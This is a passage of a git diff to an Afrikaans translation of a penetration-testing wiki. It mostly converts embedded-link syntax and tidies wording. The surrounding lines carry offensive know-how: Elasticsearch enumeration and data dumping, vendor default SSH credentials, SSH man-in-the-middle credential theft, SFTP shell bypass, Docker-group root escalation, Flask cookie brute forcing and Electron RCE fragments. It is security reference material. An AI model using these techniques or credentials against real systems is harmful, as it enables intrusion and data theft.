jy **GIMP** gebruik, kies die **`screen. ![](../../images/image%20%28208%29.png) -Verander dan die Breedte en Hoogte na die waardes wat op die skerm gebruik word en kyk na verskillende Beeldtipes \(en kies die een wat die skerm beter vertoon\): +Verander dan die Breedte en Hoogte na diegene wat op die skerm gebruik word en kyk na verskillende Beeldtipes \(en kies die een wat die skerm beter vertoon\): ![](../../images/image%20%28295%29.png) @@ -125,15 +124,18 @@ find / -group root -perm -g=w 2>/dev/null ``` # Docker Groep -Jy kan die wortel lêersisteem van die gasheer masjien aan 'n instansie se volume monteer, sodat wanneer die instansie begin, dit onmiddellik 'n `chroot` in daardie volume laai. Dit gee jou effektief wortel op die masjien. +Jy kan die wortel lêer stelsel van die gasheer masjien aan 'n instansie se volume monteer, sodat wanneer die instansie begin, dit onmiddellik 'n `chroot` in daardie volume laai. Dit gee jou effektief wortel op die masjien. -{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} +{{#ref}} +https://github.com/KrustyHack/docker-privilege-escalation +{{#endref}} -{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} +{{#ref}} +https://fosterelli.co/privilege-escalation-via-docker.html +{{#endref}} # lxc/lxd Groep [lxc - Privilege Escalation](lxd-privilege-escalation.md) - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/misc/references.md b/src/misc/references.md index 9e5dd6281..eb3792a1f 100644 --- a/src/misc/references.md +++ b/src/misc/references.md @@ -1,49 +1,95 @@ {{#include ../banners/hacktricks-training.md}} -{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %} +{{#ref}} +https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick +{{#endref}} -{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %} +{{#ref}} +https://hausec.com/pentesting-cheatsheet/#_Toc475368982 +{{#endref}} -{% embed url="https://anhtai.me/pentesting-cheatsheet/" %} +{{#ref}} +https://anhtai.me/pentesting-cheatsheet/ +{{#endref}} -{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %} +{{#ref}} +https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html +{{#endref}} -{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %} +{{#ref}} +https://ired.team/offensive-security-experiments/offensive-security-cheetsheets +{{#endref}} -{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %} +{{#ref}} +https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html +{{#endref}} -{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %} +{{#ref}} +https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md +{{#endref}} -{% embed url="https://anhtai.me/oscp-fun-guide/" %} +{{#ref}} +https://anhtai.me/oscp-fun-guide/ +{{#endref}} -{% embed url="https://www.thehacker.recipes/" %} +{{#ref}} +https://www.thehacker.recipes/ +{{#endref}} -{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %} +{{#ref}} +https://github.com/swisskyrepo/PayloadsAllTheThings +{{#endref}} -{% embed url="https://gtfobins.github.io/" %} +{{#ref}} +https://gtfobins.github.io/ +{{#endref}} -{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %} +{{#ref}} +https://github.com/RistBS/Awesome-RedTeam-Cheatsheet +{{#endref}} -{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %} +{{#ref}} +https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet +{{#endref}} -{% embed url="https://hideandsec.sh/" %} +{{#ref}} +https://hideandsec.sh/ +{{#endref}} -{% embed url="https://cheatsheet.haax.fr/" %} +{{#ref}} +https://cheatsheet.haax.fr/ +{{#endref}} -{% embed url="https://infosecwriteups.com/" %} +{{#ref}} +https://infosecwriteups.com/ +{{#endref}} -{% embed url="https://www.exploit-db.com/" %} +{{#ref}} +https://www.exploit-db.com/ +{{#endref}} -{% embed url="https://wadcoms.github.io/" %} +{{#ref}} +https://wadcoms.github.io/ +{{#endref}} -{% embed url="https://lolbas-project.github.io" %} +{{#ref}} +https://lolbas-project.github.io +{{#endref}} -{% embed url="https://pentestbook.six2dez.com/" %} +{{#ref}} +https://pentestbook.six2dez.com/ +{{#endref}} -{% embed url="https://www.hackingarticles.in/" %} +{{#ref}} +https://www.hackingarticles.in/ +{{#endref}} -{% embed url="https://pentestlab.blog/" %} +{{#ref}} +https://pentestlab.blog/ +{{#endref}} -{% embed url="https://ippsec.rocks/" %} +{{#ref}} +https://ippsec.rocks/ +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/5439-pentesting-redshift.md b/src/network-services-pentesting/5439-pentesting-redshift.md index d9be3f6e4..fa496944b 100644 --- a/src/network-services-pentesting/5439-pentesting-redshift.md +++ b/src/network-services-pentesting/5439-pentesting-redshift.md @@ -8,6 +8,8 @@ Hierdie poort word deur **Redshift** gebruik om te loop. Dit is basies 'n AWS va Vir meer inligting, kyk: -{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum" %} +{{#ref}} +https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/9100-pjl.md b/src/network-services-pentesting/9100-pjl.md index 9de3b9332..211a70964 100644 --- a/src/network-services-pentesting/9100-pjl.md +++ b/src/network-services-pentesting/9100-pjl.md @@ -48,7 +48,9 @@ msf> use auxiliary/scanner/printer/printer_delete_file Dit is die hulpmiddel wat jy wil gebruik om drukkers te misbruik: -{% embed url="https://github.com/RUB-NDS/PRET" %} +{{#ref}} +https://github.com/RUB-NDS/PRET +{{#endref}} # **Shodan** diff --git a/src/network-services-pentesting/9200-pentesting-elasticsearch.md b/src/network-services-pentesting/9200-pentesting-elasticsearch.md index 4d7ab76b4..c2f353d17 100644 --- a/src/network-services-pentesting/9200-pentesting-elasticsearch.md +++ b/src/network-services-pentesting/9200-pentesting-elasticsearch.md @@ -10,9 +10,9 @@ Elasticsearch is 'n **verspreide**, **oopbron** soek- en analise-enjin vir **all 'n Elasticsearch **indeks** is 'n versameling van **verwante dokumente** wat as **JSON** gestoor word. Elke dokument bestaan uit **sleutels** en hul ooreenstemmende **waardes** (strings, getalle, booleans, datums, arrays, geolokasies, ens.). -Elasticsearch gebruik 'n doeltreffende datastruktuur genaamd 'n **omgekeerde indeks** om vinnige volle teks soektogte te fasiliteer. Hierdie indeks lys elke unieke woord in die dokumente en identifiseer die dokumente waarin elke woord voorkom. +Elasticsearch gebruik 'n doeltreffende datastruktuur genaamd 'n **omgekeerde indeks** om vinnige volle teks soeke te fasiliteer. Hierdie indeks lys elke unieke woord in die dokumente en identifiseer die dokumente waarin elke woord verskyn. -Tydens die indekseringsproses stoor Elasticsearch die dokumente en bou die omgekeerde indeks, wat byna regte tyd soektogte moontlik maak. Die **indeks API** word gebruik om JSON-dokumente binne 'n spesifieke indeks by te voeg of op te dateer. +Tydens die indekseringsproses stoor Elasticsearch die dokumente en bou die omgekeerde indeks, wat byna regte tyd soeke moontlik maak. Die **indeks API** word gebruik om JSON-dokumente binne 'n spesifieke indeks by te voeg of op te dateer. **Standaard poort**: 9200/tcp @@ -24,7 +24,7 @@ Die protokol wat gebruik word om toegang tot Elasticsearch te verkry is **HTTP** ![](<../images/image (294).png>) -As jy daardie antwoord nie sien nie wanneer jy toegang tot `/` verkry, sien die volgende afdeling. +As jy nie daardie antwoord sien nie wanneer jy toegang tot `/` verkry nie, sien die volgende afdeling. ### Verifikasie @@ -39,7 +39,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user" ```bash {"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401} ``` -Dit beteken dat outentikasie geconfigureer is en **jy geldige akrediteerbesonderhede nodig het** om enige inligting van Elasticsearch te verkry. Dan kan jy [**probeer om dit te bruteforce**](../generic-hacking/brute-force.md#elasticsearch) (dit gebruik HTTP basiese outentikasie, so enigiets wat BF HTTP basiese outentikasie kan gebruik).\ +Dit beteken dat outentikasie geconfigureer is en **jy geldige akrediteerbesonderhede nodig het** om enige inligting van Elasticsearch te verkry. Dan kan jy [**probeer om dit te bruteforce**](../generic-hacking/brute-force.md#elasticsearch) (dit gebruik HTTP basiese outentikasie, so enigiets wat BF HTTP basiese outentikasie kan gebruik, kan gebruik word).\ Hier is 'n **lys van standaard gebruikersname**: _**elastic** (superuser), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Ou weergawe van Elasticsearch het die standaard wagwoord **changeme** vir hierdie gebruiker. ``` curl -X GET http://user:password@IP:9200/ @@ -93,14 +93,14 @@ In `/_security/user` (as outentisering geaktiveer is) kan jy sien watter gebruik ### Indices -Jy kan **alle indekse versamel** deur toegang te verkry tot `http://10.10.10.115:9200/_cat/indices?v` +Jy kan **alle indekse versamel** deur `http://10.10.10.115:9200/_cat/indices?v` te benader. ``` health status index uuid pri rep docs.count docs.deleted store.size pri.store.size green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0 4kb 4kb yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb ``` -Om **inligting te verkry oor watter tipe data binne 'n indeks gestoor is**, kan jy toegang verkry tot: `http://host:9200/` van die voorbeeld in hierdie geval `http://10.10.10.115:9200/bank` +Om **inligting te verkry oor watter tipe data binne 'n indeks gestoor is**, kan jy toegang verkry tot: `http://host:9200/` in hierdie geval `http://10.10.10.115:9200/bank` ![](<../images/image (342).png>) @@ -112,7 +112,7 @@ As jy **alle inhoud** van 'n indeks wil **dump**, kan jy toegang verkry tot: `ht _Neem 'n oomblik om die inhoud van elke dokument (inskrywing) binne die bankindeks en die velde van hierdie indeks wat ons in die vorige afdeling gesien het, te vergelyk._ -So, op hierdie punt mag jy opgemerk het dat **daar 'n veld genaamd "total" binne "hits" is** wat aandui dat **1000 dokumente gevind is** binne hierdie indeks, maar slegs 10 is teruggehaal. Dit is omdat **daar per standaard 'n limiet van 10 dokumente is**.\ +So, op hierdie punt mag jy opgemerk het dat **daar 'n veld genaamd "total" binne "hits" is** wat aandui dat **1000 dokumente gevind is** binne hierdie indeks, maar slegs 10 is teruggetrek. Dit is omdat **daar per standaard 'n limiet van 10 dokumente is**.\ Maar, nou dat jy weet dat **hierdie indeks 1000 dokumente bevat**, kan jy **almal dump** deur die aantal inskrywings wat jy wil dump in die **`size`** parameter aan te dui: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\ \&#xNAN;_Let wel: As jy 'n groter getal aandui, sal al die inskrywings steeds gedump word, byvoorbeeld jy kan `size=9999` aandui en dit sal vreemd wees as daar meer inskrywings was (maar jy moet dit nagaan)._ @@ -127,7 +127,7 @@ As jy op soek is na inligting kan jy 'n **rauwe soektog op al die indekse** doen ![](<../images/image (335).png>) -As jy net op 'n indeks wil **soek**, kan jy dit eenvoudig **specifiseer** op die **pad**: `http://host:9200//_search?pretty=true&q=` +As jy net op 'n indeks wil **soek**, kan jy dit eenvoudig op die **pad** spesifiseer: `http://host:9200//_search?pretty=true&q=` _Let daarop dat die q parameter wat gebruik word om inhoud te soek **reguliere uitdrukkings ondersteun**_ @@ -161,11 +161,12 @@ Sommige gereedskap sal 'n paar van die data wat voorheen aangebied is, verkry: ```bash msf > use auxiliary/scanner/elasticsearch/indices_enum ``` -{% embed url="https://github.com/theMiddleBlue/nmap-elasticsearch-nse" %} +{{#ref}} +https://github.com/theMiddleBlue/nmap-elasticsearch-nse +{{#endref}} ## Shodan - `port:9200 elasticsearch` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md b/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md index 0db297e1b..975f5d11d 100644 --- a/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md +++ b/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md @@ -4,7 +4,9 @@ # **Standaard wagwoorde** -{% embed url="http://www.vulnerabilityassessment.co.uk/passwordsC.htm" %} +{{#ref}} +http://www.vulnerabilityassessment.co.uk/passwordsC.htm +{{#endref}} # Konfigurasie lêers ```text diff --git a/src/network-services-pentesting/pentesting-kerberos-88/README.md b/src/network-services-pentesting/pentesting-kerberos-88/README.md index 265a69cad..d6924cfb4 100644 --- a/src/network-services-pentesting/pentesting-kerberos-88/README.md +++ b/src/network-services-pentesting/pentesting-kerberos-88/README.md @@ -25,9 +25,11 @@ PORT STATE SERVICE ### MS14-068 -Die MS14-068 fout laat 'n aanvaller toe om met 'n wettige gebruiker se Kerberos aanmeldtoken te sjoemel om valslik verhoogde voorregte te eis, soos om 'n Domein Admin te wees. Hierdie vals eis word per ongeluk deur die Domeinbeheerder gevalideer, wat ongeoorloofde toegang tot netwerkbronne oor die Active Directory-woud moontlik maak. +Die MS14-068 fout laat 'n aanvaller toe om met 'n wettige gebruiker se Kerberos aanmeldtoken te sjoemel om valslik verhoogde voorregte te eis, soos om 'n Domein Admin te wees. Hierdie vals eis word verkeerdelik deur die Domeinbeheerder gevalideer, wat ongeoorloofde toegang tot netwerkbronne oor die Active Directory-woud moontlik maak. -{% embed url="https://adsecurity.org/?p=541" %} +{{#ref}} +https://adsecurity.org/?p=541 +{{#endref}} Ander exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek) diff --git a/src/network-services-pentesting/pentesting-ssh.md b/src/network-services-pentesting/pentesting-ssh.md index e5d55d9a2..87c829aa4 100644 --- a/src/network-services-pentesting/pentesting-ssh.md +++ b/src/network-services-pentesting/pentesting-ssh.md @@ -2,11 +2,9 @@ {{#include ../banners/hacktricks-training.md}} - - ## Basiese Inligting -**SSH (Secure Shell of Secure Socket Shell)** is 'n netwerkprotokol wat 'n veilige verbinding met 'n rekenaar oor 'n onveilige netwerk moontlik maak. Dit is noodsaaklik om die vertroulikheid en integriteit van data te handhaaf wanneer toegang tot afstandstelsels verkry word. +**SSH (Veilige Skulp of Veilige Sokkel Skulp)** is 'n netwerkprotokol wat 'n veilige verbinding met 'n rekenaar oor 'n onveilige netwerk moontlik maak. Dit is noodsaaklik om die vertroulikheid en integriteit van data te handhaaf wanneer toegang tot afstandstelsels verkry word. **Standaard poort:** 22 ``` @@ -16,13 +14,13 @@ - [openSSH](http://www.openssh.org) – OpenBSD SSH, verskaf in BSD, Linux verspreidings en Windows sedert Windows 10 - [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – SSH implementasie vir omgewings met lae geheue en verwerker hulpbronne, verskaf in OpenWrt -- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – SSH implementasie vir Windows, die kliënt word algemeen gebruik, maar die gebruik van die bediener is selde +- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – SSH implementasie vir Windows, die kliënt word algemeen gebruik maar die gebruik van die bediener is selde - [CopSSH](https://www.itefix.net/copssh) – implementasie van OpenSSH vir Windows **SSH biblioteke (wat bediener-kant implementeer):** - [libssh](https://www.libssh.org) – multiplatform C biblioteek wat die SSHv2 protokol implementeer met bindings in [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) en [R](https://github.com/ropensci/ssh); dit word deur KDE vir sftp en deur GitHub vir die git SSH infrastruktuur gebruik -- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – SSHv2 bediener biblioteek geskryf in ANSI C en gemik op ingebedde, RTOS, en hulpbron-beperkte omgewings +- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – SSHv2 bediener biblioteek geskryf in ANSI C en gerig op ingebedde, RTOS, en hulpbron-beperkte omgewings - [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache SSHD java biblioteek is gebaseer op Apache MINA - [paramiko](https://github.com/paramiko/paramiko) – Python SSHv2 protokol biblioteek @@ -34,7 +32,7 @@ nc -vn 22 ``` ### Geoutomatiseerde ssh-audit -ssh-audit is 'n hulpmiddel vir ssh bediener & kliënt konfigurasie oudit. +ssh-audit is 'n hulpmiddel vir ssh bediener & kliënt konfigurasie ouditering. [https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) is 'n opgedateerde fork van [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/) @@ -43,11 +41,11 @@ ssh-audit is 'n hulpmiddel vir ssh bediener & kliënt konfigurasie oudit. - SSH1 en SSH2 protokol bediener ondersteuning; - analiseer SSH kliënt konfigurasie; - gryp banner, herken toestel of sagteware en bedryfstelsel, detecteer kompressie; -- versamel sleutel-uitruil, gasheer-sleutel, enkripsie en boodskap verifikasiekode algoritmes; -- voer algoritme-inligting uit (beskikbaar sedert, verwyder/uitgeskakel, onveilig/swak/oud, ens.); -- voer algoritme-aanbevelings uit (voeg by of verwyder gebaseer op herkenbare sagteware weergawe); -- voer sekuriteitsinligting uit (verwante kwessies, toegewyde CVE lys, ens.); -- analiseer SSH weergawe kompatibiliteit gebaseer op algoritme-inligting; +- versamel sleutel-uitruil, gasheer-sleutel, enkripsie en boodskap outentikasie kode algoritmes; +- voer algoritme inligting uit (beskikbaar sedert, verwyder/gedisable, onveilig/ swak/ ou, ens.); +- voer algoritme aanbevelings uit (voeg by of verwyder gebaseer op herkenbare sagteware weergawe); +- voer sekuriteitsinligting uit (verwante probleme, toegewyde CVE lys, ens.); +- analiseer SSH weergawe kompatibiliteit gebaseer op algoritme inligting; - historiese inligting van OpenSSH, Dropbear SSH en libssh; - loop op Linux en Windows; - geen afhanklikhede @@ -71,13 +69,13 @@ use -t to change timeout) (default: 5) $ python3 ssh-audit ``` -[ sien dit in aksie (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp) +[Dit in aksie sien (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp) ### Publieke SSH-sleutel van bediener ```bash ssh-keyscan -t rsa -p ``` -### Swak Kodeer Algoritmes +### Swak Sif-algoritmes Dit word standaard ontdek deur **nmap**. Maar jy kan ook **sslcan** of **sslyze** gebruik. @@ -119,7 +117,9 @@ Of gebruik `ssh-keybrute.py` (natuurlike python3, liggewig en het erfenis algori #### Bekende slegte sleutels kan hier gevind word: -{% embed url="https://github.com/rapid7/ssh-badkeys/tree/master/authorized" %} +{{#ref}} +https://github.com/rapid7/ssh-badkeys/tree/master/authorized +{{#endref}} #### Swak SSH sleutels / Debian voorspelbare PRNG @@ -145,7 +145,7 @@ Vir meer inligting, voer `crackmapexec ssh --help` uit. | EMC | admin, root, sysadmin | EMCPMAdm7n, Wagwoord#1, Wagwoord123#, sysadmin, changeme, emc | | HP/3Com | admin, root, vcx, app, spvar, bestuur, hpsupport, opc_op | admin, wagwoord, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, mooi, toegang, konfig, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !bestuur, !admin | | Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 | -| IBM | USERID, admin, bestuurder, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, stelsel, toestel, ufmcli, klant | PASSW0RD, passw0rd, admin, wagwoord, Passw8rd, iadmin, apc, 123456, cust0mer | +| IBM | USERID, admin, bestuurder, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, stelsel, toestel, ufmcli, klant | PASSW0RD, passw0rd, admin, wagwoord, Passw8rd, iadmin, apc, 123456, klant0mer | | Juniper | netscreen | netscreen | | NetApp | admin | netapp123 | | Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle | @@ -153,13 +153,13 @@ Vir meer inligting, voer `crackmapexec ssh --help` uit. ## SSH-MitM -As jy in die plaaslike netwerk is as die slagoffer wat gaan aansluit by die SSH bediener met gebruikersnaam en wagwoord, kan jy probeer om **'n MitM-aanval uit te voer om daardie kredensiale te steel:** +As jy in die plaaslike netwerk is as die slagoffer wat gaan aansluit by die SSH bediener met gebruikersnaam en wagwoord, kan jy probeer om 'n **MitM-aanval uit te voer om daardie kredensiale te steel:** **Aanvalspad:** - **Verkeersherleiding:** Die aanvaller **aflei** die slagoffer se verkeer na hul masjien, wat effektief die verbinding poging na die SSH bediener **afvang**. -- **Afvang en Logboekhouding:** Die aanvaller se masjien funksioneer as 'n **proxy**, **vang** die gebruiker se aanmeldbesonderhede op deur voor te gee om die wettige SSH bediener te wees. -- **Opdraguitvoering en Relay:** Laastens, die aanvaller se bediener **registreer die gebruiker se kredensiale**, **stuur die opdragte** na die werklike SSH bediener, **voert dit uit**, en **stuur die resultate terug** na die gebruiker, wat die proses glad en wettig laat voorkom. +- **Afvang en Log:** Die aanvaller se masjien funksioneer as 'n **proxy**, **vang** die gebruiker se aanmeldbesonderhede op deur voor te gee om die wettige SSH bediener te wees. +- **Opdraguitvoering en Relay:** Laastens, die aanvaller se bediener **log die gebruiker se kredensiale**, **stuur die opdragte** na die werklike SSH bediener, **voert dit uit**, en **stuur die resultate terug** na die gebruiker, wat die proses glad en wettig laat voorkom. [**SSH MITM**](https://github.com/jtesta/ssh-mitm) doen presies wat hierbo beskryf is. @@ -174,7 +174,7 @@ SSH-Snake voer die volgende take outomaties en herhalend uit: 1. Op die huidige stelsel, vind enige SSH privaat sleutels, 2. Op die huidige stelsel, vind enige gaste of bestemmings (gebruiker@gas) wat die privaat sleutels mag aanvaar, 3. Probeer om SSH in al die bestemmings in te gaan met al die ontdekte privaat sleutels, -4. As 'n bestemming suksesvol gekonnekteer is, herhaal stappe #1 - #4 op die gekonnekteerde stelsel. +4. As 'n bestemming suksesvol gekoppel is, herhaal stappe #1 - #4 op die gekoppelde stelsel. Dit is heeltemal self-repliserend en self-propagasies -- en heeltemal fileloos. @@ -197,7 +197,7 @@ Dit is algemeen dat SSH bedieners root gebruiker aanmelding standaard toelaat, w ### SFTP opdraguitvoering -Daar is 'n algemene oorsig wat plaasvind met SFTP opstellings, waar administrateurs bedoel dat gebruikers lêers moet uitruil sonder om afstandshell toegang te aktiveer. Ten spyte van die instelling van gebruikers met nie-interaktiewe shells (bv. `/usr/bin/nologin`) en hulle te beperk tot 'n spesifieke gids, bly 'n sekuriteitslek. **Gebruikers kan hierdie beperkings omseil** deur die uitvoering van 'n opdrag (soos `/bin/bash`) onmiddellik na aanmelding aan te vra, voordat hul aangewese nie-interaktiewe shell oorgeneem word. Dit stel ongeoorloofde opdraguitvoering in staat, wat die bedoelde sekuriteitsmaatreëls ondermyn. +Daar is 'n algemene oorsig wat plaasvind met SFTP opstellings, waar administrateurs bedoel dat gebruikers lêers moet uitruil sonder om afstandshell toegang toe te laat. Ten spyte van die instelling van gebruikers met nie-interaktiewe shells (bv. `/usr/bin/nologin`) en hulle te beperk tot 'n spesifieke gids, bly 'n sekuriteitslek. **Gebruikers kan hierdie beperkings omseil** deur die uitvoering van 'n opdrag (soos `/bin/bash`) onmiddellik na aanmelding te vra, voordat hul aangewese nie-interaktiewe shell oorneem. Dit stel ongeoorloofde opdraguitvoering in staat, wat die bedoelde sekuriteitsmaatreëls ondermyn. [Voorbeeld van hier](https://community.turgensec.com/ssh-hacking-guide/): ```bash @@ -259,15 +259,15 @@ OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019 ... debug1: Authentications that can continue: publickey,password,keyboard-interactive ``` -Byvoorbeeld, as 'n outentikasiefoutgrens gestel is en jy nooit die kans kry om die wagwoordmetode te bereik nie, kan jy die `PreferredAuthentications` opsie gebruik om te dwing om hierdie metode te gebruik. +As 'n outentikasie-foutgrens gestel is en jy nooit die kans kry om die wagwoordmetode te bereik nie, kan jy die `PreferredAuthentications` opsie gebruik om hierdie metode af te dwing. ```bash ssh -v 192.168.1.94 -o PreferredAuthentications=password ... debug1: Next authentication method: password ``` -Die hersiening van die SSH-bediener konfigurasie is nodig om te verifieer dat slegs verwagte metodes gemagtig is. Die gebruik van die uitgebreide modus op die kliënt kan help om die doeltreffendheid van die konfigurasie te sien. +Die hersiening van die SSH-bediener konfigurasie is nodig om te kontroleer dat slegs verwagte metodes gemagtig is. Die gebruik van die uitgebreide modus op die kliënt kan help om die doeltreffendheid van die konfigurasie te sien. -### Konfigurasie lêers +### Config files ```bash ssh_config sshd_config diff --git a/src/network-services-pentesting/pentesting-web/buckets/README.md b/src/network-services-pentesting/pentesting-web/buckets/README.md index 725a7225a..939d31bea 100644 --- a/src/network-services-pentesting/pentesting-web/buckets/README.md +++ b/src/network-services-pentesting/pentesting-web/buckets/README.md @@ -2,8 +2,10 @@ {{#include ../../../banners/hacktricks-training.md}} -Kyk na hierdie bladsy as jy meer wil leer oor die opnoem en misbruik van Emmers: +Kyk hierdie bladsy as jy meer wil leer oor die opnoem en misbruik van Emmers: -{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum" %} +{{#ref}} +https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum +{{#endref}} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md b/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md index 4ba72d707..4b748508c 100644 --- a/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md +++ b/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md @@ -8,6 +8,8 @@ Firebase is 'n Backend-as-a-Service hoofsaaklik vir mobiele toepassings. Dit fok Leer meer oor Firebase in: -{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum" %} +{{#ref}} +https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum +{{#endref}} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md index 884b88d5b..1da9dab1c 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md @@ -15,7 +15,9 @@ cachedArchives[p].destroy() } }) ``` -{% embed url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %} +{{#ref}} +https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36 +{{#endref}} ![](<../../../images/image (1070).png>) @@ -29,7 +31,7 @@ Waar "self" Node se proses objek is: ![](<../../../images/image (700).png>) -Die proses objek het 'n verwysing na "require" funksie: +Die proses objek het 'n verwysing na die "require" funksie: ``` process.mainModule.require ``` @@ -44,7 +46,7 @@ location.reload() //Trigger the "exit" event ``` ## Voorbeeld 2 -Kry **vereis objek uit prototipe besoedeling**. Van [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81) +Kry **require object van prototipe besoedeling**. Van [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81) Besoedeling: diff --git a/src/network-services-pentesting/pentesting-web/flask.md b/src/network-services-pentesting/pentesting-web/flask.md index 25ccbe84f..923ce0fae 100644 --- a/src/network-services-pentesting/pentesting-web/flask.md +++ b/src/network-services-pentesting/pentesting-web/flask.md @@ -22,9 +22,11 @@ Die koekie is ook onderteken met 'n wagwoord ### **Flask-Unsign** -Opdraglyn hulpmiddel om sessiekoekies van 'n Flask-toepassing te verkry, te ontleed, te brute-force en te vervaardig deur geheime sleutels te raai. +Opdraglyn hulpmiddel om sessie koekies van 'n Flask-toepassing te verkry, te ontleed, te brute-force en te vervaardig deur geheime sleutels te raai. -{% embed url="https://pypi.org/project/flask-unsign/" %} +{{#ref}} +https://pypi.org/project/flask-unsign/ +{{#endref}} ```bash pip3 install flask-unsign ``` @@ -40,7 +42,7 @@ flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie ') **Foute** -Dit is interessant om te weet of die **foute** as **getoon** gaan word, aangesien dit sal bydra tot nuttige **inligting.** +Dit is interessant om te weet of die **foute** gaan **verskyn** aangesien dit sal bydra tot nuttige **inligting.** ``` ?query={__schema} ?query={} @@ -177,15 +176,15 @@ In die introspeksie kan jy vind **watter objek jy direk kan navraag doen** (want ![](<../../images/Screenshot from 2021-03-13 